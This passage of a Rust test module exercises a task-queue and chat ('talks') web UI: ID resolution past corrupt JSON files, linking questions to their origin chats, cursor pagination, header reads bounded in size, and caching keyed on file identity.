25377            "ready",
25378            "in_progress",
25379            "blocked",
25380            "failed",
25381            "verified_noop",
25382            "superseded",
25383            "stalled",
25384        ];
25385        for key in buckets {
25386            let var = format!("--verdict-{key}:");
25387            // Light, OS-dark and pinned-dark blocks each define it.
25388            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25389            assert!(
25390                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25391                "{key}"
25392            );
25393        }
25394    }
25395
25396    #[tokio::test]
25397    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25398        let dir = tempfile::tempdir().expect("tempdir");
25399        let queue = Queue::at(dir.path().join("queue"));
25400        let talks = Talks::at(dir.path().join("talks"));
25401        std::fs::create_dir_all(queue.root()).unwrap();
25402        std::fs::create_dir_all(talks.root()).unwrap();
25403
25404        // Put a corrupt json file in both stores
25405        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25406        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25407
25408        // Valid task and talk
25409        let mut task = Task::new(
25410            "title".into(),
25411            "inst".into(),
25412            PathBuf::from("/repo"),
25413            Source::Human,
25414        );
25415        task.id = "20261019-123456-abcd".into();
25416        // Write manually so it's a valid file
25417        std::fs::write(
25418            queue.path_of(&task.id),
25419            serde_json::to_string(&task).unwrap(),
25420        )
25421        .unwrap();
25422
25423        let talk_id = "20261019-234567-cdef";
25424        seed_talk_at(&talks, talk_id, "open");
25425
25426        // Exact match should succeed without failing on the corrupt json file
25427        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25428        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25429
25430        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25431        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25432        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25433    }
25434
25435    #[tokio::test]
25436    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25437        let home = tempfile::tempdir().unwrap();
25438        let ui = delta_test_ui(home.path());
25439        // A full history traversal would fail even with no questions.
25440        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25441        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25442        assert!(
25443            questions_list(State(ui.clone()))
25444                .await
25445                .unwrap()
25446                .0
25447                .is_empty()
25448        );
25449        assert!(
25450            question_origins(State(ui.clone()))
25451                .await
25452                .unwrap()
25453                .0
25454                .is_empty()
25455        );
25456        let mut question = Question::new(
25457            "run-history".into(),
25458            "review".into(),
25459            "seat".into(),
25460            "Useful question".into(),
25461            "Useful detail".into(),
25462            vec![],
25463        );
25464        ui.questions.put(&mut question).unwrap();
25465        let core = questions_core(State(ui.clone())).await.unwrap().0;
25466        assert_eq!(core.len(), 1);
25467        assert_eq!(core[0].question.summary, "Useful question");
25468        assert!(!core[0].can_consult_chat);
25469        assert!(core[0].origin_chat.is_none());
25470        assert_eq!(core[0].record_revision, question_record_revision(&question));
25471        assert!(question_origins(State(ui.clone())).await.is_err());
25472        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25473    }
25474
25475    #[tokio::test]
25476    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25477        let home = tempfile::tempdir().unwrap();
25478        let ui = delta_test_ui(home.path());
25479        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25480        let mut parent = Task::new(
25481            "parent".into(),
25482            "body".into(),
25483            PathBuf::from("/repo"),
25484            Source::Agent {
25485                run: chat.clone(),
25486                node: crate::queue::CHAT_NODE.into(),
25487            },
25488        );
25489        parent.id = "parent-task".into();
25490        parent.runs = vec!["parent-run".into()];
25491        ui.queue.put(&mut parent).unwrap();
25492        let mut previous = parent;
25493        for generation in 1..=2 {
25494            let mut child = Task::new(
25495                "child".into(),
25496                "body".into(),
25497                PathBuf::from("/repo"),
25498                Source::Human,
25499            );
25500            child.id = format!("child-task-{generation}");
25501            child.runs = vec![format!("child-run-{generation}")];
25502            child.followup = Some(crate::queue::FollowUp {
25503                origin_task: Some(previous.id.clone()),
25504                run: previous.runs[0].clone(),
25505                pr: String::new(),
25506                findings: vec![],
25507                generation,
25508            });
25509            ui.queue.put(&mut child).unwrap();
25510            previous = child;
25511        }
25512        // A run may have the same spelling as another task's id; its owner
25513        // must not override a typed task reference.
25514        let mut collision = Task::new(
25515            "collision".into(),
25516            String::new(),
25517            PathBuf::from("/repo"),
25518            Source::Human,
25519        );
25520        collision.id = "collision-task".into();
25521        collision.runs = vec![previous.id.clone()];
25522        ui.queue.put(&mut collision).unwrap();
25523        let mut questions = Vec::new();
25524        for (node, reference, expected, eligible) in [
25525            (crate::triage::NODE, previous.id.as_str(), true, false),
25526            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25527            ("review", previous.runs[0].as_str(), true, true),
25528            (
25529                crate::bump::NOTICE_NODE,
25530                previous.runs[0].as_str(),
25531                true,
25532                false,
25533            ),
25534            // Identical text in the wrong reference namespace is not evidence.
25535            ("review", previous.id.as_str(), false, false),
25536            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25537            ("review", "unrelated", false, false),
25538        ] {
25539            let mut q = Question::new(
25540                reference.into(),
25541                node.into(),
25542                "seat".into(),
25543                "Question".into(),
25544                String::new(),
25545                vec![],
25546            );
25547            ui.questions.put(&mut q).unwrap();
25548            questions.push((q, expected, eligible));
25549        }
25550        for (node, reference, associated, eligible) in [
25551            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25552            (
25553                crate::reconcile::NODE,
25554                previous.runs[0].as_str(),
25555                false,
25556                true,
25557            ),
25558            ("implement", previous.id.as_str(), false, false),
25559        ] {
25560            let mut q = Question::new(
25561                reference.into(),
25562                node.into(),
25563                crate::reconcile::SEAT.into(),
25564                "Reconcile".into(),
25565                String::new(),
25566                vec![],
25567            );
25568            ui.questions.put(&mut q).unwrap();
25569            questions.push((q, associated, eligible));
25570        }
25571        let mut release = Question::new(
25572            "release-record".into(),
25573            crate::bump::NOTICE_NODE.into(),
25574            "release-watch".into(),
25575            "Release".into(),
25576            String::new(),
25577            vec![],
25578        );
25579        ui.questions.put(&mut release).unwrap();
25580        let watch = crate::release_watch::WatchState {
25581            question: Some(release.id.clone()),
25582            run: Some(previous.runs[0].clone()),
25583            held_task: Some(previous.id.clone()),
25584            ..Default::default()
25585        };
25586        let watch_dir = home.path().join("release-watch");
25587        std::fs::create_dir_all(&watch_dir).unwrap();
25588        let watch_path = watch_dir.join("watch.json");
25589        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25590        // Ordinary questions and bump notices do not need watch-store I/O.
25591        for batch in [
25592            Vec::new(),
25593            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25594        ] {
25595            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25596            assert!(watches.is_empty());
25597        }
25598        questions.push((release.clone(), true, false));
25599
25600        let views = questions_list(State(ui.clone())).await.unwrap().0;
25601        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25602        for (q, associated, eligible) in &questions {
25603            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25604            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25605            let expected = associated.then_some(chat.as_str());
25606            assert_eq!(
25607                view.origin_chat.as_deref(),
25608                expected,
25609                "{} {}",
25610                q.node,
25611                q.run
25612            );
25613            assert_eq!(origin.origin_chat.as_deref(), expected);
25614            assert_eq!(view.origin_chat_closed, *associated);
25615            assert_eq!(origin.origin_chat_closed, *associated);
25616            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25617            assert_eq!(origin.can_consult_chat, *eligible);
25618        }
25619        // Either saved link independently recovers a release question's owner.
25620        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25621            let link = crate::release_watch::WatchState {
25622                run,
25623                held_task,
25624                ..watch.clone()
25625            };
25626            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25627            let (tasks, talks, watches) =
25628                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25629            assert_eq!(
25630                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25631                    .unwrap()
25632                    .id,
25633                chat,
25634            );
25635            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25636        }
25637        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25638        // Even identical duplicate records are ambiguous: ignore their links.
25639        let duplicate_path = watch_dir.join("duplicate.json");
25640        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25641        let (tasks, talks, watches) =
25642            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25643        assert!(
25644            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25645                .is_none()
25646        );
25647        std::fs::remove_file(duplicate_path).unwrap();
25648        // Another explicit owner is a conflict even if it has no chat.
25649        let mut unrelated = Task::new(
25650            "other".into(),
25651            String::new(),
25652            PathBuf::from("/repo"),
25653            Source::Human,
25654        );
25655        unrelated.id = "unrelated-task".into();
25656        ui.queue.put(&mut unrelated).unwrap();
25657        let mut conflicting = watch.clone();
25658        conflicting.held_task = Some(unrelated.id);
25659        std::fs::write(
25660            watch_dir.join("conflict.json"),
25661            serde_json::to_vec(&conflicting).unwrap(),
25662        )
25663        .unwrap();
25664        let (tasks, talks, watches) =
25665            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25666        assert!(
25667            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25668                .is_none()
25669        );
25670        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25671        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25672        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25673            assert!(origin.origin_chat.is_none());
25674            assert!(!origin.origin_chat_closed);
25675        }
25676    }
25677
25678    #[test]
25679    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25680        let home = tempfile::tempdir().unwrap();
25681        let ui = delta_test_ui(home.path());
25682        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25683        for i in 0..1000 {
25684            let mut task = Task::new(
25685                "unrelated".into(),
25686                "instruction ".repeat(256),
25687                PathBuf::from("/repo"),
25688                Source::Human,
25689            );
25690            task.id = format!("history-{i:04}");
25691            ui.queue.put(&mut task).unwrap();
25692            let id = seed_talk_at(&ui.talks, &task.id, "open");
25693            let mut talk = ui.talks.get(&id).unwrap();
25694            talk.pending = "history ".repeat(256);
25695            ui.talks.put(&mut talk).unwrap();
25696        }
25697        let mut parent = Task::new(
25698            "parent".into(),
25699            "body".into(),
25700            PathBuf::from("/repo"),
25701            Source::Agent {
25702                run: chat_id.clone(),
25703                node: crate::queue::CHAT_NODE.into(),
25704            },
25705        );
25706        parent.id = "task-parent".into();
25707        parent.runs = vec!["run-parent".into()];
25708        ui.queue.put(&mut parent).unwrap();
25709        let mut child = Task::new(
25710            "child".into(),
25711            "body".into(),
25712            PathBuf::from("/repo"),
25713            Source::Human,
25714        );
25715        child.id = "task-child".into();
25716        child.runs = vec!["run-child".into()];
25717        child.followup = Some(crate::queue::FollowUp {
25718            run: "run-parent".into(),
25719            origin_task: Some(parent.id.clone()),
25720            pr: "https://example.invalid/pr/1".into(),
25721            findings: vec![],
25722            generation: 1,
25723        });
25724        ui.queue.put(&mut child).unwrap();
25725        let mut question = Question::new(
25726            child.id.clone(),
25727            crate::conduct::NODE.into(),
25728            "seat".into(),
25729            "Continue?".into(),
25730            String::new(),
25731            vec![],
25732        );
25733        let (tasks, talks, _watches) =
25734            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25735        assert_eq!(tasks.len(), 2);
25736        assert_eq!(talks.len(), 1);
25737        assert_eq!(
25738            ui.monitor.queue_index.lock().unwrap().reparsed,
25739            0,
25740            "exact ancestry bypasses the index"
25741        );
25742        assert_eq!(
25743            crate::consult::origin_talk(&tasks, &talks, &question)
25744                .unwrap()
25745                .id,
25746            chat_id
25747        );
25748        question.run = "run-child".into();
25749        question.node = "review".into();
25750        for origin_task in [Some(parent.id.clone()), None] {
25751            child.followup.as_mut().unwrap().origin_task = origin_task;
25752            ui.queue.put(&mut child).unwrap();
25753            let (tasks, talks, _watches) =
25754                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25755            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25756            let expected =
25757                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25758                    .unwrap();
25759            assert_eq!(actual.id, expected.id);
25760            assert!(!actual.status.open());
25761            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25762            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25763            // Without Unix file identity, every readable record must be
25764            // reparsed to detect same-size, same-mtime replacements safely.
25765            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25766            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25767        }
25768        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25769        ui.queue.put(&mut child).unwrap();
25770        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25771        let (tasks, talks, _watches) =
25772            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25773        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25774        child.origin_chat = Some(chat_id.clone());
25775        ui.queue.put(&mut child).unwrap();
25776        let (tasks, talks, _watches) =
25777            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25778        assert_eq!(
25779            crate::consult::origin_talk(&tasks, &talks, &question)
25780                .unwrap()
25781                .id,
25782            chat_id
25783        );
25784        let revision = question_record_revision(&question);
25785        question.abandon("settled elsewhere");
25786        assert_ne!(revision, question_record_revision(&question));
25787        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25788        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25789        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25790        let (tasks, talks, _watches) =
25791            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25792        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25793    }
25794
25795    #[test]
25796    fn list_cursors_freeze_membership_and_expire_explicitly() {
25797        let home = tempfile::tempdir().unwrap();
25798        let ui = delta_test_ui(home.path());
25799        std::fs::create_dir_all(ui.queue.root()).unwrap();
25800        for i in 0..40 {
25801            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25802        }
25803        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25804        assert_eq!(first.len(), STORE_PAGE_SIZE);
25805        let cursor = cursor.unwrap();
25806        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25807        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25808        let (second, _) = page_ids(
25809            &ui,
25810            false,
25811            PageQuery {
25812                before: Some(cursor.clone()),
25813            },
25814        )
25815        .unwrap();
25816        assert_eq!(second[0], "record-0023");
25817        assert!(second.iter().all(|id| !first.contains(id)));
25818        assert!(
25819            page_ids(
25820                &ui,
25821                true,
25822                PageQuery {
25823                    before: Some(cursor.clone())
25824                }
25825            )
25826            .is_err()
25827        );
25828        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25829        assert_eq!(fresh[0], "record-9999");
25830        ui.monitor.list_walks.lock().unwrap().clear();
25831        assert!(
25832            page_ids(
25833                &ui,
25834                false,
25835                PageQuery {
25836                    before: Some(cursor)
25837                }
25838            )
25839            .is_err()
25840        );
25841    }
25842
25843    #[tokio::test]
25844    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25845        let home = tempfile::tempdir().unwrap();
25846        let ui = delta_test_ui(home.path());
25847        // Every closed conversation is newer by ID than every open conversation.
25848        for i in 0..23 {
25849            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25850        }
25851        for i in 0..45 {
25852            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25853        }
25854        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25855        let first = talks_page(
25856            State(ui.clone()),
25857            Query(PageQuery::default()),
25858            header::HeaderMap::new(),
25859        )
25860        .await
25861        .unwrap()
25862        .0;
25863        assert_eq!(
25864            first.rows.iter().filter(|row| row.status.open()).count(),
25865            23
25866        );
25867        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25868        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25869        let parsed = ui
25870            .monitor
25871            .talk_parses
25872            .load(std::sync::atomic::Ordering::Relaxed);
25873        assert_eq!(
25874            parsed,
25875            first.rows.len(),
25876            "closed bodies outside this page are not restored"
25877        );
25878        let fresh = talks_page(
25879            State(ui.clone()),
25880            Query(PageQuery::default()),
25881            header::HeaderMap::new(),
25882        )
25883        .await
25884        .unwrap()
25885        .0;
25886        assert_eq!(fresh.rows.len(), first.rows.len());
25887        assert_eq!(
25888            ui.monitor
25889                .talk_parses
25890                .load(std::sync::atomic::Ordering::Relaxed),
25891            parsed
25892        );
25893        let mut seen: std::collections::HashSet<_> =
25894            first.rows.iter().map(|row| row.id.clone()).collect();
25895        // Status changes keep their original membership position until refresh.
25896        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25897        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25898        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25899        let mut next = first.next;
25900        while let Some(cursor) = next {
25901            let page = talks_page(
25902                State(ui.clone()),
25903                Query(PageQuery {
25904                    before: Some(cursor),
25905                }),
25906                header::HeaderMap::new(),
25907            )
25908            .await
25909            .unwrap()
25910            .0;
25911            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25912            for row in page.rows {
25913                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25914            }
25915            next = page.next;
25916        }
25917        let expected: HashSet<_> = (0..23)
25918            .map(|i| format!("20260101-000000-{i:03}"))
25919            .chain(
25920                (0..45)
25921                    .filter(|i| *i != 1)
25922                    .map(|i| format!("20261019-000000-{i:03}")),
25923            )
25924            .collect();
25925        assert_eq!(
25926            seen, expected,
25927            "the cursor walk must return every surviving ID"
25928        );
25929        let refreshed = talks_page(
25930            State(ui.clone()),
25931            Query(PageQuery::default()),
25932            header::HeaderMap::new(),
25933        )
25934        .await
25935        .unwrap()
25936        .0;
25937        assert_eq!(
25938            refreshed
25939                .rows
25940                .iter()
25941                .filter(|row| row.status.open())
25942                .count(),
25943            23
25944        );
25945        assert!(
25946            refreshed
25947                .rows
25948                .iter()
25949                .any(|row| row.id == "20261019-000000-000")
25950        );
25951        assert!(
25952            !refreshed
25953                .rows
25954                .iter()
25955                .any(|row| row.id == "20260101-000000-000")
25956        );
25957    }
25958
25959    #[test]
25960    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25961        let home = tempfile::tempdir().unwrap();
25962        let ui = delta_test_ui(home.path());
25963        for i in 0..STORE_PAGE_SIZE + 5 {
25964            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25965        }
25966        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25967        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25968        assert!(next.is_none());
25969    }
25970
25971    #[test]
25972    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25973        struct Counted<R> {
25974            inner: R,
25975            bytes: usize,
25976        }
25977        impl<R: std::io::Read> std::io::Read for Counted<R> {
25978            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25979                let n = self.inner.read(buf)?;
25980                self.bytes += n;
25981                Ok(n)
25982            }
25983        }
25984        let home = tempfile::tempdir().unwrap();
25985        let ui = delta_test_ui(home.path());
25986        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25987        let mut chat = ui.talks.get(&id).unwrap();
25988        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25989            chat.turns = vec![
25990                serde_json::from_value(serde_json::json!({
25991                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25992                }))
25993                .unwrap(),
25994            ];
25995            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25996                chat.status = status;
25997                // Exercise the actual on-disk serializer, including its field order.
25998                let body = serde_json::to_vec_pretty(&chat).unwrap();
25999                let mut reader = Counted {
26000                    inner: body.as_slice(),
26001                    bytes: 0,
26002                };
26003                assert_eq!(read_talk_status(&mut reader), Some(status));
26004                assert!(
26005                    reader.bytes <= 1024,
26006                    "header classification read {} bytes",
26007                    reader.bytes
26008                );
26009            }
26010        }
26011        // Noncanonical field order must neither traverse a transcript nor hide
26012        // an open row. Its real status is validated by the ordinary row reader.
26013        let noncanonical = format!(
26014            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26015            "x".repeat(1024 * 1024)
26016        );
26017        let mut reader = Counted {
26018            inner: noncanonical.as_bytes(),
26019            bytes: 0,
26020        };
26021        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26022        assert!(reader.bytes <= 1024);
26023        let oversized = format!(
26024            r#"{{"agent":"{}","status":"open"}}"#,
26025            "x".repeat(128 * 1024)
26026        );
26027        let mut reader = Counted {
26028            inner: oversized.as_bytes(),
26029            bytes: 0,
26030        };
26031        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26032        assert!(reader.bytes <= 64 * 1024);
26033    }
26034
26035    #[test]
26036    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26037        let home = tempfile::tempdir().unwrap();
26038        let ui = delta_test_ui(home.path());
26039        seed_talk_at(&ui.talks, "header-chat", "open");
26040        std::fs::create_dir_all(ui.queue.root()).unwrap();
26041        let (started, ready) = std::sync::mpsc::channel();
26042        let (release, wait) = std::sync::mpsc::channel();
26043        let chat_ui = ui.clone();
26044        let scan = std::thread::spawn(move || {
26045            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26046                started.send(()).unwrap();
26047                wait.recv().unwrap();
26048                open_talk_ids(ui, ids)
26049            })
26050            .unwrap()
26051        });
26052        ready.recv_timeout(Duration::from_secs(2)).unwrap();
26053        let (finished, result) = std::sync::mpsc::channel();
26054        let queue = std::thread::spawn(move || {
26055            finished
26056                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26057                .unwrap();
26058        });
26059        let completed = result.recv_timeout(Duration::from_secs(2));
26060        // Release and join both workers even if the regression returns.
26061        release.send(()).unwrap();
26062        scan.join().unwrap();
26063        queue.join().unwrap();
26064        assert!(
26065            completed.unwrap(),
26066            "queue paging must not wait for chat header I/O"
26067        );
26068    }
26069
26070    #[test]
26071    fn talk_status_projection_does_not_cache_files_changed_during_read() {
26072        let home = tempfile::tempdir().unwrap();
26073        let ui = delta_test_ui(home.path());
26074        let ids = vec!["changing-chat".to_owned()];
26075        seed_talk_at(&ui.talks, &ids[0], "closed");
26076        assert!(open_talk_ids(&ui, &ids).is_empty());
26077        seed_talk_at(&ui.talks, &ids[0], "open");
26078        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26079            let value: serde_json::Value =
26080                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26081            // Replace the file after parsing, before its identity is checked again.
26082            seed_talk_at(&ui.talks, &ids[0], "closed");
26083            serde_json::from_value(value["status"].clone()).ok()
26084        });
26085        assert!(open.contains(&ids[0]));
26086        assert!(
26087            ui.monitor
26088                .talk_status_index
26089                .lock()
26090                .unwrap()
26091                .records
26092                .is_empty()
26093        );
26094        assert!(open_talk_ids(&ui, &ids).is_empty());
26095        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26096    }
26097
26098    #[test]
26099    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26100        let home = tempfile::tempdir().unwrap();
26101        let ui = delta_test_ui(home.path());
26102        let ids = vec!["same-stamp-chat".to_owned()];
26103        seed_talk_at(&ui.talks, &ids[0], "open");
26104        // Model a non-Unix metadata collision deterministically: the old
26105        // classification has a fingerprint equal to the current file's.
26106        ui.monitor.talk_status_index.lock().unwrap().records.insert(
26107            ids[0].clone(),
26108            (
26109                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26110                Some(talk::TalkStatus::Closed),
26111            ),
26112        );
26113        let open = open_talk_ids_with(&ui, &ids, false, |path| {
26114            std::fs::File::open(path).ok().and_then(read_talk_status)
26115        });
26116        assert!(
26117            open.contains(&ids[0]),
26118            "an untrusted cache hit must still read the current header"
26119        );
26120        assert!(
26121            ui.monitor
26122                .talk_status_index
26123                .lock()
26124                .unwrap()
26125                .records
26126                .is_empty()
26127        );
26128        seed_talk_at(&ui.talks, &ids[0], "closed");
26129        assert!(
26130            open_talk_ids_with(&ui, &ids, false, |path| {
26131                std::fs::File::open(path).ok().and_then(read_talk_status)
26132            })
26133            .is_empty()
26134        );
26135        let index = ui.monitor.talk_status_index.lock().unwrap();
26136        assert_eq!(index.parses, 2);
26137        assert!(
26138            index.records.is_empty(),
26139            "untrusted fingerprints must never publish cache entries"
26140        );
26141    }
26142
26143    #[test]
26144    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26145        let home = tempfile::tempdir().unwrap();
26146        let ui = delta_test_ui(home.path());
26147        let headers = header::HeaderMap::new();
26148        seed_talk_at(&ui.talks, "open-chat", "open");
26149        seed_talk_at(&ui.talks, "closed-chat", "closed");
26150        talk_rows(
26151            &ui,
26152            vec!["open-chat".into(), "closed-chat".into()],
26153            &headers,
26154        );
26155        {
26156            let mut index = ui.monitor.talk_index.lock().unwrap();
26157            let closed = index["closed-chat"].1.clone();
26158            for i in 0..1000 {
26159                index.insert(
26160                    format!("cached-closed-{i}"),
26161                    (
26162                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26163                        closed.clone(),
26164                    ),
26165                );
26166            }
26167        }
26168        assert_eq!(
26169            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26170            1
26171        );
26172        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26173        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26174        assert_eq!(
26175            ui.monitor
26176                .talk_parses
26177                .load(std::sync::atomic::Ordering::Relaxed),
26178            2
26179        );
26180        {
26181            let mut index = ui.monitor.talk_index.lock().unwrap();
26182            let open = index["open-chat"].1.clone();
26183            for i in 0..1000 {
26184                index.insert(
26185                    format!("cached-open-{i}"),
26186                    (
26187                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26188                        open.clone(),
26189                    ),
26190                );
26191            }
26192        }
26193        // Even when open rows exceed the bound, keep the currently requested rows.
26194        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26195        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26196        assert_eq!(
26197            ui.monitor
26198                .talk_parses
26199                .load(std::sync::atomic::Ordering::Relaxed),
26200            2
26201        );
26202    }
26203
26204    #[test]
26205    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26206        let home = tempfile::tempdir().unwrap();
26207        let ui = delta_test_ui(home.path());
26208        std::fs::create_dir_all(ui.talks.root()).unwrap();
26209        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26210        for id in &ids {
26211            std::fs::write(
26212                ui.talks.path_of(id),
26213                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26214            )
26215            .unwrap();
26216        }
26217        assert!(open_talk_ids(&ui, &ids).is_empty());
26218        assert_eq!(
26219            ui.monitor.talk_status_index.lock().unwrap().parses,
26220            ids.len()
26221        );
26222        assert!(open_talk_ids(&ui, &ids).is_empty());
26223        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26224        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26225        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26226        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26227        assert_eq!(
26228            open_talk_ids(&ui, &ids),
26229            std::collections::HashSet::from([ids[0].clone()])
26230        );
26231        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26232        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26233        assert_eq!(parsed, reused + refreshed);
26234        open_talk_ids(&ui, &ids);
26235        assert_eq!(
26236            ui.monitor.talk_status_index.lock().unwrap().parses,
26237            parsed + if cfg!(unix) { 0 } else { ids.len() },
26238            "only reliable file identity permits caching, including unreadable rows"
26239        );
26240        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26241        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26242        assert!(
26243            !ui.monitor
26244                .talk_status_index
26245                .lock()
26246                .unwrap()
26247                .records
26248                .contains_key(&ids[0])
26249        );
26250        assert!(
26251            ui.monitor.talk_index.lock().unwrap().is_empty(),
26252            "classification never caches bodies"
26253        );
26254    }
26255
26256    #[tokio::test]
26257    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26258        let home = tempfile::tempdir().unwrap();
26259        let ui = delta_test_ui(home.path());
26260        let mut task = Task::new(
26261            "task".into(),
26262            "body".into(),
26263            PathBuf::from("/repo"),
26264            Source::Human,
26265        );
26266        ui.queue.put(&mut task).unwrap();
26267        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26268        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26269        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26270        let expected = parsed + usize::from(!cfg!(unix));
